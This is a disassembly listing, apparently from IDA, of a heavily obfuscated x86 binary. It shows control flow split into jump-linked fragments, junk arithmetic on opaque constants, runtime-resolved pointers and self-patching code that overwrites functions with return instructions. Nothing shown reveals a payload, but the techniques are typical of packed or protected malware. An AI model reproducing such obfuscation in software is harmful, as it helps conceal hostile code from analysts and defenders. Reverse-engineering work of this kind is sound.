; ---------------------------------------------------------------------------

loc_43EE8C:				; CODE XREF: y22d6.y.:00437011j
		mov	eax, [esp]
		push	offset sub_43BEC1
		jmp	loc_43716C
; ---------------------------------------------------------------------------
		mov	ebx, 0FD103A27h
		rol	ecx, 17h
		jmp	sub_43E48C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43EEA6:				; CODE XREF: sub_44633F:loc_43A40Cj
		shl	ebp, 6
		pop	ebx
		jmp	loc_44AD3E
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_43EEAF:				; CODE XREF: sub_444427:loc_44231Aj
		push	8699D750h
		pop	eax
		and	eax, 0BD3F045h
		cmp	eax, 0DBC8A5Fh
		jmp	loc_44396B
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43EEC6:				; CODE XREF: sub_448EB6-E2F3j
		add	edx, 0F19906BAh
		add	edx, ebp
		add	edx, 58D666A6h
		mov	edx, [edx]
		call	sub_43CFF2

loc_43EEDB:				; CODE XREF: sub_44C171+6j
		jmp	sub_44C322
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43EEE0:				; CODE XREF: y22d6.y.:00443E23j
		jmp	loc_44708B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43EEE5:				; CODE XREF: sub_449641-125FFj
		jmp	loc_447D9C
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------

loc_43EEEA:				; CODE XREF: y22d6.y.:loc_43BAB6j
		push	eax
		mov	eax, edx
		call	sub_43BE66
		mov	eax, [esp]
		push	ecx
		push	0F2AFA31Fh
		pop	ecx
		jmp	loc_44595E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_43EF01:				; CODE XREF: sub_43F35E+2C9Cj
		not	ebp

loc_43EF03:				; CODE XREF: sub_43F35E:loc_43C63Cj
					; sub_43F35E+8j ...
		jmp	loc_43A354
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_43EF08:				; CODE XREF: sub_43EC1C:loc_440432j
					; sub_43F35E+34EBj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43EC1C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EF0B	proc near		; CODE XREF: sub_44057E:loc_438BAAj
					; y22d6.y.:0043937Ap ...

; FUNCTION CHUNK AT 0043CB85 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_43CB85
sub_43EF0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43EF13:				; CODE XREF: sub_44B17B-119ECj
		jns	loc_44A88A
		jo	loc_44C944
		add	ecx, 78CCCD3Ah
		xor	ebx, 0A55033F8h
		jmp	loc_4389A7
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		push	esi
		push	43EAAEBDh
		pop	esi
		rol	esi, 1Bh
		add	esi, 16228ABBh
		mov	[esi], eax
		pop	esi
		jmp	loc_437519
; ---------------------------------------------------------------------------

loc_43EF48:				; DATA XREF: sub_43E953:loc_4422C6o
		push	eax
		mov	eax, ebp
		xchg	eax, [esp]
		mov	ebp, esp
		push	ecx
		jmp	loc_443D8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_43EF56:				; CODE XREF: sub_4450FD:loc_44DBA2j
		jz	loc_4397D9
		jmp	loc_442D60
; END OF FUNCTION CHUNK	FOR sub_4450FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_43EF62:				; CODE XREF: sub_446F34+3E7Dj
		jmp	loc_44D323
; END OF FUNCTION CHUNK	FOR sub_446F34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_43EF67:				; CODE XREF: sub_4428C2+520Cj
		jmp	sub_4483BF
; END OF FUNCTION CHUNK	FOR sub_4428C2
; ---------------------------------------------------------------------------

loc_43EF6C:				; CODE XREF: y22d6.y.:0044A12Ej
		sub	edx, 563BA7B5h
		jmp	loc_447954
; ---------------------------------------------------------------------------
		mov	ds:dword_41E15C, eax
		lea	eax, nullsub_309
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E0F3

; =============== S U B	R O U T	I N E =======================================



sub_43EF8B	proc near		; CODE XREF: sub_40F22A+2Bp
					; y22d6.y.:loc_43BE3Fj	...
		call	sub_4419CC
		jmp	ds:off_41E160
sub_43EF8B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B201

loc_43EF96:				; CODE XREF: sub_43B201+9EA7j
		jmp	loc_44A82C
; END OF FUNCTION CHUNK	FOR sub_43B201
; ---------------------------------------------------------------------------

loc_43EF9B:				; CODE XREF: y22d6.y.:004417BDj
		jmp	loc_445156
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_43EFA0:				; CODE XREF: sub_4452EE+3EE3j
		jnz	loc_44762C
		jmp	loc_44DE93
; END OF FUNCTION CHUNK	FOR sub_4452EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_255. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_43EFAC:				; CODE XREF: sub_43EC01+3D6Dj
		jmp	loc_44B5C1
; END OF FUNCTION CHUNK	FOR sub_43EC01

; =============== S U B	R O U T	I N E =======================================



sub_43EFB1	proc near		; CODE XREF: y22d6.y.:0043F778j
					; y22d6.y.:loc_445209j	...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AB23 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043BF5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440F3F SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_43AB31
		cmp	eax, [ebp-8]
		jnz	loc_440F3F
		call	sub_44D8F4

loc_43EFC8:				; CODE XREF: y22d6.y.:loc_444F55j
					; y22d6.y.:loc_446013j
		xor	edx, 0C5A2FFB7h
		add	edx, 20521539h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_440AF5
sub_43EFB1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_43EFDC:				; CODE XREF: sub_4480DE-CCF1j
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_44D2C1
		mov	eax, [ebp+var_4]
		push	offset sub_44D2B1
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4388E5

loc_43EFF6:				; CODE XREF: sub_4388E5+6j
		call	sub_4432B8

loc_43EFFB:				; CODE XREF: sub_44256D+3826j
		jmp	sub_44256D
; END OF FUNCTION CHUNK	FOR sub_4388E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_43F000:				; CODE XREF: sub_441F08+3D39j
		jmp	loc_438018
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43F005:				; CODE XREF: sub_448EB6-F2C3j
		jmp	loc_44D881
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		test	edi, 22C1E434h
		jmp	loc_445209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_43F015:				; CODE XREF: sub_439FCB:loc_444C1Ej
					; y22d6.y.:00444EB9j
		or	ebx, 4BC119DBh
		add	ebx, 0ED81460Eh
		add	ecx, ebx
		pop	ebx
		jmp	loc_438F8B
; END OF FUNCTION CHUNK	FOR sub_439FCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442060

loc_43F029:				; CODE XREF: sub_442060+6j
		xchg	edx, [esp+4+var_4]
		push	esi
		push	0C506F113h
		pop	esi
		rol	esi, 0Eh
		add	esi, 0B002811Eh
		jmp	loc_44A38C
; END OF FUNCTION CHUNK	FOR sub_442060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43F041:				; CODE XREF: sub_44AEDA:loc_438E93j
		not	edx
		adc	eax, 13173EFCh
		jmp	loc_43FCEF
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F04F:				; CODE XREF: y22d6.y.:0043F688j
		jmp	loc_44749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_43F054:				; CODE XREF: sub_44B3C9-FC3Ej
					; y22d6.y.:004487CBj
		add	eax, 0A52F5BF4h
		xor	eax, 4BF2AEAAh
		call	sub_43CA1A
		mov	ds:off_41E13C, eax
		lea	eax, sub_44B3C9
		mov	byte ptr [eax],	0C3h
		jmp	loc_4402C4
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_440310
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_43F081:				; CODE XREF: sub_43C7C1+1AB3j
		jmp	loc_449837
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_300. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F087:				; CODE XREF: y22d6.y.:loc_43B84Bj
		jmp	sub_444581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43F08C:				; CODE XREF: sub_4432B8-B246j
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441D9

loc_43F091:				; CODE XREF: sub_4441D9:loc_4380B4j
		xchg	edx, [esp+0]
		jmp	sub_441C69
; END OF FUNCTION CHUNK	FOR sub_4441D9
; ---------------------------------------------------------------------------
		mov	ecx, [edi]
		jmp	sub_44E091
; ---------------------------------------------------------------------------

loc_43F0A0:				; CODE XREF: y22d6.y.:loc_43AEA5j
		jnz	loc_441CDB
		jmp	loc_44A645
; ---------------------------------------------------------------------------
		push	esi
		push	0BFA1C1C1h
		pop	esi
		rol	esi, 1
		add	esi, 80FE5CDDh
		jmp	loc_440705
; ---------------------------------------------------------------------------

loc_43F0BF:				; CODE XREF: y22d6.y.:0043CF46j
		mov	edx, 522FFC2Bh
; START	OF FUNCTION CHUNK FOR sub_444427

loc_43F0C4:				; CODE XREF: sub_444427:loc_43CF33j
		add	esi, 0A836B1C1h
		xor	esi, 0BE251314h
		add	esi, 0BB66E971h
		jmp	loc_439B59
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
		jnz	loc_43B851
		jmp	loc_441568
; ---------------------------------------------------------------------------
		mov	[ebx], eax
		ror	ecx, 14h
		jmp	sub_439096

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43F0F0	proc near		; CODE XREF: sub_44B674:loc_439B48j
					; y22d6.y.:0044312Ap ...
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, sub_43CA62
		mov	byte ptr [eax],	0C3h
		jmp	sub_43CA62
sub_43F0F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F102	proc near		; CODE XREF: sub_40300B+BBp
					; sub_43F102+5j
					; DATA XREF: ...
		call	sub_43F112
		jmp	ds:off_41E214
sub_43F102	endp

; ---------------------------------------------------------------------------

loc_43F10D:				; CODE XREF: y22d6.y.:004451FAj
		jmp	loc_449590

; =============== S U B	R O U T	I N E =======================================



sub_43F112	proc near		; CODE XREF: sub_43F102p
					; sub_444A91:loc_445761j ...

; FUNCTION CHUNK AT 0044A2DC SIZE 00000005 BYTES

		pop	edx
		push	offset loc_445953
		jmp	loc_44A2DC
sub_43F112	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_43F11D:				; CODE XREF: sub_44193A+AC29j
		xchg	edi, [esp+0]
		ror	eax, 0Fh
		mov	ds:dword_441980, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445141

loc_43F12A:				; CODE XREF: sub_445141+10j
		jmp	loc_448014
; END OF FUNCTION CHUNK	FOR sub_445141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_43F12F:				; CODE XREF: sub_44193A+65DEj
		rol	eax, 0Fh
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		jmp	loc_439232
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44529A

loc_43F13D:				; CODE XREF: sub_44529A+18j
		jl	loc_440596

loc_43F143:				; CODE XREF: y22d6.y.:00439869j
		jmp	loc_44010E
; END OF FUNCTION CHUNK	FOR sub_44529A
; ---------------------------------------------------------------------------
		sub	eax, ecx
		rol	ebx, 0Bh
		jmp	loc_440596
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_43F152:				; CODE XREF: sub_44A359-1256Bj
		jnz	loc_43E2F7
		jmp	loc_440913
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------

loc_43F15D:				; CODE XREF: y22d6.y.:00439E3Ej
		mov	ebx, ebp
		pop	ebp
		or	ebx, 77FB9774h
		sub	ebx, 963F63D0h
		add	ebx, 1E84457Ah
		jmp	loc_4481E3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F178:				; CODE XREF: y22d6.y.:00441C8Ej
		jb	loc_43D813

loc_43F17E:				; CODE XREF: y22d6.y.:loc_449C47j
		not	esi
; START	OF FUNCTION CHUNK FOR sub_44999F

loc_43F180:				; CODE XREF: sub_44999F:loc_441C7Dj
		sub	eax, 0D42858ACh
		and	eax, 0CCC263CBh
		rol	eax, 19h
		add	eax, 7BC3002Ch
		xchg	eax, [esp+0]
		jmp	sub_43EF0B
; END OF FUNCTION CHUNK	FOR sub_44999F
; ---------------------------------------------------------------------------

loc_43F19D:				; CODE XREF: y22d6.y.:loc_444913j
		jnz	loc_43F9F8
		adc	ecx, eax
		test	eax, 6FAC9D78h
		jmp	loc_43F9F0
; ---------------------------------------------------------------------------
		adc	edx, eax
		call	sub_43DABB
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_43F1B7:				; CODE XREF: sub_44256D:loc_4431C8j
		jmp	loc_4486FA
; END OF FUNCTION CHUNK	FOR sub_44256D
; ---------------------------------------------------------------------------

loc_43F1BC:				; CODE XREF: y22d6.y.:00449F87j
		mov	[ebx], eax
		pop	ebx
		call	sub_43CC01
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_43F1C4:				; CODE XREF: sub_4383E0+DAD3j
		jmp	loc_4453DB
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E5C

loc_43F1C9:				; CODE XREF: sub_441E5C+357Aj
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_441E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D063

loc_43F1CE:				; CODE XREF: sub_44D063-14DE4j
					; sub_4431CD:loc_43DC2Fj
		jmp	loc_44CD6B
; END OF FUNCTION CHUNK	FOR sub_44D063
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445362

loc_43F1D3:				; CODE XREF: sub_445362+90E5j
		shr	esi, 14h
		popf
		jmp	loc_43E2C9
; END OF FUNCTION CHUNK	FOR sub_445362
; ---------------------------------------------------------------------------
		adc	edx, edi
		jmp	sub_448A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_43F1E3:				; CODE XREF: sub_4384B4:loc_44D3EFj
		xchg	eax, [esp+0]
		push	349F0E53h
		xchg	edx, [esp+4+var_4]
		mov	ebx, edx
		pop	edx
		rol	ebx, 13h
		jmp	loc_43E94E
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_43F1F9:				; CODE XREF: sub_437B43:loc_44B5E5j
		ror	ebx, 1Bh
		popf
		jmp	loc_43CAF8
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F2D

loc_43F202:				; CODE XREF: sub_439F2D+Aj
		push	edx
		push	ebx
		push	66629E9Ah
		pop	ebx
		or	ebx, 0C9B42C53h
		jmp	loc_44C649
; END OF FUNCTION CHUNK	FOR sub_439F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442DA6

loc_43F215:				; CODE XREF: sub_442DA6:loc_44BAD8j
		call	sub_44D088
		push	offset sub_447841
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_442DA6

; =============== S U B	R O U T	I N E =======================================



sub_43F224	proc near		; DATA XREF: y22d6.y.:0044833Do

; FUNCTION CHUNK AT 0043F4F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E2E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044160E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441B70 SIZE 00000014 BYTES

		push	839771F8h
		pop	eax
		add	eax, 6A8A48E1h
		cmp	eax, 0B912F004h
		jmp	loc_43F4F7
sub_43F224	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444131

loc_43F23B:				; CODE XREF: sub_444131:loc_447212j
		call	sub_43F7FF
		mov	ds:off_41E00C, eax
		lea	eax, sub_4425E0
		mov	byte ptr [eax],	0C3h
		jmp	loc_4443EE
; END OF FUNCTION CHUNK	FOR sub_444131
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_43F254:				; CODE XREF: sub_444581-3528j
		mov	edx, eax
		push	esi
		push	8D4A1686h
		pop	esi
		sub	esi, 0F4C6E1BBh
		xor	esi, 4FA200F9h
		add	esi, 2922C649h
		xchg	esi, [esp+4+var_4]
		jmp	loc_4436D6
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

loc_43F277:				; CODE XREF: y22d6.y.:0043BC4Cj
		xor	ebp, 0B3EF3193h
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43F27D:				; CODE XREF: sub_449641:loc_43BC2Dj
		and	edi, 0ED1D448Ah
		or	edi, 0B60335F8h
		add	edi, 222AB66h
		call	sub_439ACA

loc_43F294:				; CODE XREF: y22d6.y.:00448DC6j
		jmp	loc_43833A
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43F299:				; CODE XREF: sub_4432B8+158j
		jmp	loc_442EBA
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_43F29E:				; CODE XREF: sub_43D20E+1920j
		jmp	loc_44C416
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43F2A3:				; CODE XREF: sub_4432B8-6018j
		jge	sub_440ABC
		shr	edi, 9
		ror	ecx, 19h

loc_43F2AF:				; CODE XREF: sub_4432B8:loc_4479D7j
		call	sub_43760A
		jmp	loc_43C26F
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		mov	ds:dword_41E164, eax
		lea	eax, nullsub_46
		mov	byte ptr [eax],	0C3h
		jmp	loc_441FAA
; ---------------------------------------------------------------------------
		db 53h,	68h, 51h
; ---------------------------------------------------------------------------
		xor	ebx, eax
		rcr	byte ptr [ebx-7Fh], cl
		jmp	short loc_43F2E7
; ---------------------------------------------------------------------------
		db 84h
		dd 35E98377h
; ---------------------------------------------------------------------------
		sar	edi, 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F2E0:				; CODE XREF: y22d6.y.:0044AF41j
		popf
		sub	eax, edi
		pop	edi
		mov	edx, [esp]

loc_43F2E7:				; CODE XREF: y22d6.y.:0043F2D5j
		push	ebp
		jmp	loc_4462C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43F2ED:				; CODE XREF: sub_44633F-CF3Dj
		jnp	loc_43906F
		or	ecx, 0AA7BD8F7h

loc_43F2F9:				; CODE XREF: sub_44633F+323Bj
		xor	esi, 68124679h
		rol	esi, 3
		add	esi, 468014F3h
		mov	[esi], eax
		pop	esi
		jmp	loc_4393A6
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_43F310:				; CODE XREF: y22d6.y.:0043861Cj
		jno	loc_43AEA5
		adc	eax, ebp
		shr	esi, 17h
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_43F31B:				; CODE XREF: sub_439E63+E030j
		rol	ecx, 15h
		sub	ecx, 0B3E6EF31h
		jmp	loc_43B4F9
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------

loc_43F329:				; CODE XREF: y22d6.y.:004460F9j
		adc	ecx, 56BD896Ch
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43F32F:				; CODE XREF: sub_449641:loc_43F6DAj
		add	ebx, 27CA1602h
		push	offset loc_43729D
		jmp	nullsub_171
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_43F33F:				; CODE XREF: sub_44E63C-495Cj
		jge	loc_449689
		mov	ebx, 376D0846h
		sub	edx, ebp
		and	ecx, eax

loc_43F34E:				; CODE XREF: sub_44E63C:loc_443C70j
		mov	eax, [esp+0]
		push	eax
		call	sub_44C171
		or	eax, eax
		jmp	loc_43B829
; END OF FUNCTION CHUNK	FOR sub_44E63C

; =============== S U B	R O U T	I N E =======================================



sub_43F35E	proc near		; CODE XREF: y22d6.y.:00437C58j
					; sub_43F501:loc_43DFC7p

; FUNCTION CHUNK AT 0043C63C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EF01 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00441FF8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044283B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443873 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443EDD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044464C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044DE68 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43EF03
		jmp	loc_443873
sub_43F35E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 462C961Fh
		push	offset sub_43E165
		jmp	loc_43871A
; ---------------------------------------------------------------------------

loc_43F380:				; CODE XREF: y22d6.y.:loc_43F7EBj
		jnz	loc_442DF5
		and	esi, 2903BB79h
		jns	loc_443EB2
		not	ebp
		jmp	loc_442DEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43F399:				; CODE XREF: sub_44B17B:loc_440A32j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_440F5D
		jmp	loc_44CBD0
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_43F3A7:				; CODE XREF: y22d6.y.:0043D117j
		jno	near ptr dword_4388F0+2Dh

; =============== S U B	R O U T	I N E =======================================



sub_43F3AD	proc near		; CODE XREF: sub_445C50+Fp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AA68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C16A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004473B8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044822F SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		pop	eax
		lea	eax, byte_43F615

loc_43F3B7:				; CODE XREF: sub_44271A:loc_446EE0j
		push	edx
		push	31E2DA98h
		xchg	ebx, [esp+0]
		jmp	loc_43C16A
sub_43F3AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F3C5:				; CODE XREF: y22d6.y.:0044DBBCj
		jge	loc_43FBB2
		not	edx
		jmp	loc_43FBB0
; ---------------------------------------------------------------------------

locret_43F3D2:				; CODE XREF: y22d6.y.:0044B960j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43F3D3:				; CODE XREF: sub_44057E+6D32j
		jmp	loc_44C5BF
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444131

loc_43F3D9:				; CODE XREF: sub_444131+13j
		or	esi, 91B8ECC7h
		rol	esi, 0Bh
		or	esi, 52CA189Fh
		xor	esi, 8ABD475h
		add	edi, esi
		call	sub_44057E

loc_43F3F5:				; DATA XREF: sub_4425E0:loc_43AC01o
		mov	eax, [esp+0]
		push	edx
		call	sub_44A46F
		mov	eax, 0CEEC89B4h
		jmp	loc_447212
; END OF FUNCTION CHUNK	FOR sub_444131
; ---------------------------------------------------------------------------
		or	esi, edx
		adc	ebp, 0C6C5B0D2h
		jmp	sub_444F2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_43F415:				; CODE XREF: sub_4409F4:loc_4413A5j
		sub	ebx, 0D1DD4878h
		sbb	ecx, esi
		jmp	loc_43C366
; END OF FUNCTION CHUNK	FOR sub_4409F4

; =============== S U B	R O U T	I N E =======================================



sub_43F422	proc near		; DATA XREF: sub_43AB31+A7D6o

; FUNCTION CHUNK AT 004375D8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004382C9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00438FF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F487 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443989 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444FAD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004472C3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C5F7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044E32F SIZE 00000005 BYTES

		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_4375FF
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_438FF6
sub_43F422	endp

; ---------------------------------------------------------------------------

loc_43F43D:				; CODE XREF: y22d6.y.:00447E6Cj
		jl	loc_44BFFA

; =============== S U B	R O U T	I N E =======================================



sub_43F443	proc near		; CODE XREF: y22d6.y.:0044A25Bp
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	offset sub_445791
		jmp	nullsub_166
sub_43F443	endp

; ---------------------------------------------------------------------------

loc_43F452:				; DATA XREF: sub_437B43+2692o
		xchg	esi, [esp]
		call	sub_449ECF
		push	5807B740h
		pop	eax
		xor	eax, 657A537Bh
		or	eax, 0FB51D7D9h
		add	eax, 310ED12Eh
		or	eax, 0FB601761h
		jmp	loc_4396AD
; ---------------------------------------------------------------------------
		call	sub_44511C
; START	OF FUNCTION CHUNK FOR sub_449880

loc_43F482:				; CODE XREF: sub_449880+9j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_449880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_43F487:				; CODE XREF: sub_43F422+7EA7j
		jmp	loc_4375D8
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B27F

loc_43F48C:				; CODE XREF: y22d6.y.:0044599Dj
					; sub_44B27F:loc_449C88j
		rol	ecx, 1Dh
		xor	ecx, 0C13B3A99h
		add	ecx, 0A46FE29Dh
		rol	ecx, 16h
		jnb	loc_43E1AF

loc_43F4A4:				; CODE XREF: sub_43A041:loc_43CE61j
					; y22d6.y.:0044E6B1j
		jmp	locret_4432D4
; END OF FUNCTION CHUNK	FOR sub_44B27F
; ---------------------------------------------------------------------------
		or	edi, ecx
		jmp	loc_43E1AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_43F4B0:				; CODE XREF: sub_437B43:loc_44AA58j
		jz	loc_439AF8
		jmp	loc_437726
; END OF FUNCTION CHUNK	FOR sub_437B43

; =============== S U B	R O U T	I N E =======================================



sub_43F4BB	proc near		; CODE XREF: sub_44E313:loc_4471C5j

; FUNCTION CHUNK AT 0044443F SIZE 0000001C BYTES

		push	ebx
